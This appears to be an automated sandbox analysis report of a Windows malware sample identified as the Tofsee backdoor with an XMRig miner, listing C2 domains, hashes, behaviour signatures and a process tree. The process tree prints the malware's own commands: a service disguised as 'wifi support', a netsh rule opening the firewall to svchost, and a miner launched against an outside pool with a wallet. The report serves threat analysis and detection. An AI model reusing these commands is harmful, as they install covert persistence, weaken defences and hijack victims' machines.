Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    26/11/2022, 14:37

General

  • Target
    file.exe
  • Size 149KB
  • Sample221126-ry5jrseb21
  • SHA256 fdaafcdb34f1791e225d3e1c7abbe479328cb38849e1b8bf8c28044bb9b99cfd
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1440
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mfujjogk\
      2⤵
        PID:1920
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\eyaieyex.exe" C:\Windows\SysWOW64\mfujjogk\
        2⤵
          PID:1512
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create mfujjogk binPath= "C:\Windows\SysWOW64\mfujjogk\eyaieyex.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1348
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description mfujjogk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1752
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start mfujjogk
          2⤵
          • Launches sc.exe
          PID:2016
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:660
      • C:\Windows\SysWOW64\mfujjogk\eyaieyex.exe
        C:\Windows\SysWOW64\mfujjogk\eyaieyex.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:728
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1620
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1004

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            eyaieyex.exe

            • Path C:\Users\Admin\AppData\Local\Temp\eyaieyex.exe
            • Size 12.4MB
            • SHA256 2189852c8f791a3cfd34b35634c12b8326c399f29223011128a14367d042e7de
            • MD5 SHA1 SHA512 SSDEEP

            eyaieyex.exe

            • Path C:\Windows\SysWOW64\mfujjogk\eyaieyex.exe
            • Size 12.4MB
            • SHA256 2189852c8f791a3cfd34b35634c12b8326c399f29223011128a14367d042e7de
            • MD5 SHA1 SHA512 SSDEEP

            memory/728-76-0x0000000000400000-0x0000000000AD8000-memory.dmp

            memory/1004-99-0x00000000002D0000-0x00000000003C1000-memory.dmp

            memory/1004-101-0x00000000002D0000-0x00000000003C1000-memory.dmp

            memory/1440-58-0x0000000000400000-0x0000000000AD8000-memory.dmp

            memory/1440-56-0x0000000000BFB000-0x0000000000C0C000-memory.dmp

            memory/1440-57-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/1440-67-0x0000000000BFB000-0x0000000000C0C000-memory.dmp

            memory/1440-69-0x0000000000400000-0x0000000000AD8000-memory.dmp

            memory/1440-54-0x0000000076181000-0x0000000076183000-memory.dmp

            memory/1620-70-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1620-87-0x00000000003E0000-0x00000000003F0000-memory.dmp

            memory/1620-72-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1620-78-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1620-80-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1620-81-0x0000000001820000-0x0000000001A2F000-memory.dmp

            memory/1620-84-0x00000000003B0000-0x00000000003B6000-memory.dmp

            memory/1620-90-0x00000000003F0000-0x00000000003F5000-memory.dmp

            memory/1620-93-0x0000000005860000-0x0000000005C6B000-memory.dmp

            memory/1620-96-0x0000000000400000-0x0000000000407000-memory.dmp